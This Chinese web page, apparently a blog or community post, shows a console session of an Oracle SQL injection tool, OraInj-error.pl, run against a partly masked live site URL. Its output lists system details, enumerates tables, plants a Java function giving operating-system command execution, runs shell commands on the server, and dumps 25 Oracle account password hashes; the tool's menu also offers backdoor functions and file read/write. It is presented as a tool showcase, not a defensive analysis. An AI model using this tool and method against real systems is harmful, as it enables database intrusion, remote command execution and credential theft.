三种不需要盲注的oracle注入工具

简介: E:\tools>OraInj-error.pl “http://www.mic*.com/index.
E:\tools>OraInj-error.pl “http://www.mic*.com/index.php?id=421″
 
==========================================================================
Oracle Injection with Display errors
v0.8 beta
==========================================================================
1.获取系统信息
2.执行SQL语句
3.执行本地SQL脚本
4.植入linxruncmd()函数
5.获取当前用户表
6.获取指定表的字段
7.获取数据表内容
8.进入cmd模式(需要植入函数成功)
search.字段模式匹配
pwd.枚举用户hash
read.调用utl_file读文件
write.调用utl_file写文件
down.Oracle植入下载函数oradownload()
backdoor.植入函数SQLEXEC()
link.创建链接服务器
q.退出到上级菜单
0.显示帮助信息
# 1
服务器监听IP:192.168.2.9
服务器机器名:www.*soft.com
WEB 服务器IP:192.168.2.8
WEB 机器名称:www.*soft.com
客户启动账号:apache
当前用户名称:NARU
权限是否 DBA:FALSE
当前数据库名:GJDB
数据库实例名:GJDB
数据库安装 :/oradata/GJDB/redo03.log
数据库版本号:TNS for Linux: Version 10.2.0.1.0 – Production
# 5
正在枚举当前用户表名
资料清单数目:11
正在获取第1条记录:SHOW_TEST
正在获取第2条记录:LEASE
正在获取第3条记录:SHOW
正在获取第4条记录:ZIPCODE
正在获取第5条记录:TBLPOLL
正在获取第6条记录:TBL_IMG
正在获取第7条记录:SMSMESSAGE
正在获取第8条记录:FLASH
正在获取第9条记录:TBLCOUNTER
正在获取第10条记录:SHOW1
正在获取第11条记录:LEASEJUN
# 4
创建java包
服务器回应:Success.
赋予public执行java io权限
服务器回应:Success.
建立函数linxruncmd()
服务器回应:Success.
赋予public对linxruncmd的权限
服务器回应:Success.
 
# 8
OSCMD>/bin/ls
hc_GJDB.dat
init.ora
initGJDB.ora
initdw.ora
lkGJDB
orapwGJDB
spfileGJDB.ora
 
OSCMD>/bin/ls /
bin
boot
data
data1
dev
etc
home
initrd
lib
lib64
lost+found
media
misc
mnt
mycomputer
opt
oradata
proc
root
sbin
selinux
sqlnet.log
srv
sys
tftpboot
tmp
usr
var
 
OSCMD>q
# search
Keyword>password
正在搜索字段名含有关键字password的表
这样的表共有:0
# admin
# search
Keyword>admin
正在搜索字段名含有关键字admin的表
这样的表共有:0
# pwd
表sys.user$ where type%23>0 and length(password)=16中的记录数目:25
正在获取第1条记录:SYS|5638228DAF52805F
正在获取第2条记录:SYSTEM|D4DF7931AB130E37
正在获取第3条记录:OUTLN|4A3BA55E08595C81
正在获取第4条记录:DIP|CE4A36B8E06CA59C
正在获取第5条记录:DMSYS|BFBA5A553FD9E28A
正在获取第6条记录:TSMSYS|3DF26A8B17D0F29F
正在获取第7条记录:DBSNMP|E066D214D5421CCC
正在获取第8条记录:WMSYS|7C9BA362F8314299
正在获取第9条记录:EXFSYS|66F4EF5650C20355
正在获取第10条记录:CTXSYS|71E687F036AD56E5
正在获取第11条记录:XDB|88D8364765FCE6AF
正在获取第12条记录:OLAPSYS|3FB8EF9DB538647C
正在获取第13条记录:ORDSYS|7EFA02EC7EA6B86F
正在获取第14条记录:ORDPLUGINS|88A2B2C183431F00
正在获取第15条记录:SI_INFORMTN_SCHEMA|84B8CBCA4D477FA3
正在获取第16条记录:MDSYS|72979A94BAD2AF80
正在获取第17条记录:SYSMAN|447B729161192C24
正在获取第18条记录:MDDATA|DF02A496267DEE66
正在获取第19条记录:GJ_AUDIT|F908F53DF6507797
正在获取第20条记录:MGMT_VIEW|442167C25FAC883C
正在获取第21条记录:SCOTT|F894844C34402B67
正在获取第22条记录:FMC_USER|C2C1B67EC7F525AB
正在获取第23条记录:SMS|23C574F5509AEC3A
正在获取第24条记录:NARU|74A0C14CEC9C635A
正在获取第25条记录:SEOULCULTURE|99FEAAE16D228ED1
# search
Keyword>pass
正在搜索字段名含有关键字pass的表
这样的表共有:8
正在获取第1条记录:BIN$RNczTeOGUHLgQKjACQJEHw==$0
正在获取第2条记录:BIN$gNG02WYik5XgQKjACQI7Sw==$0
正在获取第3条记录:BIN$gNG06OKzqVTgQKjACQI7Yg==$0
正在获取第4条记录:BIN$gNG1ICF1YgLgQKjACQI68g==$0
正在获取第5条记录:BIN$gNG1J5gq+33gQKjACQI69A==$0
正在获取第6条记录:BIN$gNG1L1hzfOvgQKjACQI7Ww==$0
正在获取第7条记录:BIN$gNG1OQnTjYbgQKjACQI7Zg==$0
正在获取第8条记录:BIN$gNG1QW9XqArgQKjACQI7Vw==$0
 
目录
相关文章
|
9天前
|
SQL Oracle 关系型数据库
整合Mybatis-Plus高级,Oracle 主键Sequence,Sql 注入器实现自定义全局操作
整合Mybatis-Plus高级,Oracle 主键Sequence,Sql 注入器实现自定义全局操作
95 0
|
9天前
|
Oracle 关系型数据库 数据处理
某教程学习笔记(一):10、oracle数据库注入
某教程学习笔记(一):10、oracle数据库注入
19 0
|
7月前
|
Oracle 关系型数据库 数据库连接
Windows系统安装配置Oracle数据库连接工具PLSQL
Windows系统安装配置Oracle数据库连接工具PLSQL
|
7月前
|
SQL Oracle 关系型数据库
Oracle连接工具PLSQL登录时提示初始化失败,无法锁定OCI.dll错误解决
Oracle连接工具PLSQL登录时提示初始化失败,无法锁定OCI.dll错误解决
367 0
|
7月前
|
SQL Oracle 关系型数据库
Oracle数据库连接工具PLSQL/Navicat安装与连接环境配置
Oracle数据库连接工具PLSQL/Navicat安装与连接环境配置
|
12月前
|
SQL 监控 Oracle
Oracle 性能监控统计工具 mystats脚本
看看这个工具的介绍就知道这个工具是很牛的,因为它是在两个牛人的工具是改进的,一出生就有贵族血统呀!
|
SQL XML Oracle
整合Mybatis-Plus高级,Oracle 主键Sequence,Sql 注入器实现自定义全局操作(下)
整合Mybatis-Plus高级,Oracle 主键Sequence,Sql 注入器实现自定义全局操作(下)
|
SQL XML Oracle
整合Mybatis-Plus高级,Oracle 主键Sequence,Sql 注入器实现自定义全局操作(中)
整合Mybatis-Plus高级,Oracle 主键Sequence,Sql 注入器实现自定义全局操作(中)
|
SQL Oracle 关系型数据库
整合Mybatis-Plus高级,Oracle 主键Sequence,Sql 注入器实现自定义全局操作(上)
整合Mybatis-Plus高级,Oracle 主键Sequence,Sql 注入器实现自定义全局操作(上)
|
存储 SQL 负载均衡
Oracle实现高可用性的工具(负载均衡/故障切换)
Oracle实现高可用性的工具(负载均衡/故障切换)
152 0